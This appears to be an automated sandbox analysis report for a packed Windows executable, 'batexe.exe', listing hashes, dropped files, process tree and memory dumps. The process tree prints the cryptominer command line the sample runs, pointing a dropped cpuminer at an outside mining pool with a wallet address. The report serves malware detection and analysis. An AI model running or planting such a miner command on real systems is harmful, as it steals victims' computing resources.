73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
297s
max time network
294s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
20/02/2024, 16:32

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2200	b2e.exe
4788	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4788	cpuminer-sse2.exe
4788	cpuminer-sse2.exe
4788	cpuminer-sse2.exe
4788	cpuminer-sse2.exe
4788	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1792-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1792 wrote to memory of 2200	1792	batexe.exe	73
PID 1792 wrote to memory of 2200	1792	batexe.exe	73
PID 1792 wrote to memory of 2200	1792	batexe.exe	73
PID 2200 wrote to memory of 2256	2200	b2e.exe	74
PID 2200 wrote to memory of 2256	2200	b2e.exe	74
PID 2200 wrote to memory of 2256	2200	b2e.exe	74
PID 2256 wrote to memory of 4788	2256	cmd.exe	77
PID 2256 wrote to memory of 4788	2256	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1792
- C:\Users\Admin\AppData\Local\Temp\2AE3.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\2AE3.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\2AE3.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\319A.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2256
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\2AE3.tmp\b2e.exe

Filesize
1.8MB

MD5
f8b8395522e143cd5a4a83f96b33deb6

SHA1
fa12190582f17447d4d4f5138c289f8f77157da9

SHA256
575f88f2fc60c6b5427ad5308ce3c1a37f6e040e8ed0f1be85feb5d42c2b48d9

SHA512
8ed92f8212812c372830f6172a0abc5ad841dc4706c1299bcf0904d3efef8b99b7a8fee41069fbd4cfd6e019d1417052f39e8a7b67a59a88c5cfdd0192ee5633

Download Submit
C:\Users\Admin\AppData\Local\Temp\2AE3.tmp\b2e.exe

Filesize
2.2MB

MD5
b20a7b1fb84d6bbbfc7659b99f720a41

SHA1
8dcb5fcd1f37363fae6312303408f512efdb871d

SHA256
42baef2fb8b1a132cf8e92f4f71ac0f9cda1898458c7b90d6892e0f7433e7487

SHA512
80d1a3d1882f77db4b94ff7fff0a8b7c38989109f06bfdb1e962dd95324828baf5db413db70391b4d8a21ef20c678f1237c8779037986c0eba57b5f7c00d2cc3

Download Submit
C:\Users\Admin\AppData\Local\Temp\319A.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
51KB

MD5
b9cb1712de363a4b25b61b0326e8e3c5

SHA1
796f0346cc1ca8ce8508ba377f14342bd539c9ff

SHA256
181b6f7d1e0a77c9ee831c84f30091031df0a4e71e56e0ffa6d80b6a7e144e19

SHA512
26e14b2975c6255fd638d1d8e245af62514347db8814672feb00aed907139d160d54a9c39b3d1d1af6cdfae2d43cd89e5c9df6cc428e454b175cbb5186fa1e0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
31KB

MD5
cf03dc7162f39d174112faf55f7eedca

SHA1
4132792327eda7562258e1cb4d782cec8f61b6bb

SHA256
7fb646152d4a9bb3010f7a5431c891dd0251439fb9c97b6acfcf2bb26d347d35

SHA512
f5d30fe0172f1e54de4102e21978031f7d2e7b39f5c2423cbfc0a0d1d1aa92daf9f2509cd11409b46fdabccddc6c8baa27425111998001101490e6b11d115f5a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1KB

MD5
7afca165eb598c56e10ab965bb8846ac

SHA1
ec4f2164d7fd2e3a9ef14f6de528a322173a9453

SHA256
555ac9bea13abc8011c591542b66c78024aa8f18c80f5a0114d5200a8b17730f

SHA512
d747e3aae86c96e7821538575d6d5a810125f584f80d4404b3dae3aea0afae5ddfd3b353b6cc7cc4bf40e30c1c2b2f88eacce19cab10e142ff9998a910f179cb

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
14KB

MD5
57bc28e77ba7f02252d5d1c6ebeb7e33

SHA1
03d31966e052d14ff5f92d69ceacf8fc886e003c

SHA256
094b3dcb3308d87ee8c065d27dc1e0ee818c68d37312bdbc03af9c88f20914aa

SHA512
c11bdf493da9bac705cf4d31330ad4bfe2e93c5aa6c0812c47906645e441981880cd651ab20b53e0e9770053d8e3b5a7acdd515ec74f6e16a8c2cdccf49229d4

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
8c6b7d8ae34ce3d18f20a3ad3771558a

SHA1
25c34c29a20a34d1c1cc6a6eed0f6d3af096ef85

SHA256
d959e03d2899ca2bb46b16f5681fcbb5074d2cc56df7e30e496b098f728bf157

SHA512
31e07c7f4b93f06fe66ce10a7f98efd0c328bbd1a06d8ab4bfdde43394a4a682bef58d5a7ab1e57a4e447c4d511f6f03948fced3049f641e27a0dfa50b492add

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.5MB

MD5
1c44365cd71a0923bdb2f3c9b222b75d

SHA1
5fd6a07d6ef1423978a628d9d68c7ca90f3b7a69

SHA256
d72147dad57d054ca455b46af097089837a251f17b8157d17835fe9bf07927e7

SHA512
e63427b9afe5facfc9aa74f0c5f2132fdc2db1bac4ee5a9e10ba33ca7ac604a85470a18ac273951616293c2d34237042ef8c714f74a7e39a4157817a8bfa80a5

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1792-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2200-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2200-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4788-44-0x0000000000E30000-0x00000000026E5000-memory.dmp

Filesize
24.7MB

Download
memory/4788-42-0x000000005D8A0000-0x000000005D938000-memory.dmp

Filesize
608KB

Download
memory/4788-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4788-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4788-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4788-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4788-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4788-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4788-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4788-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download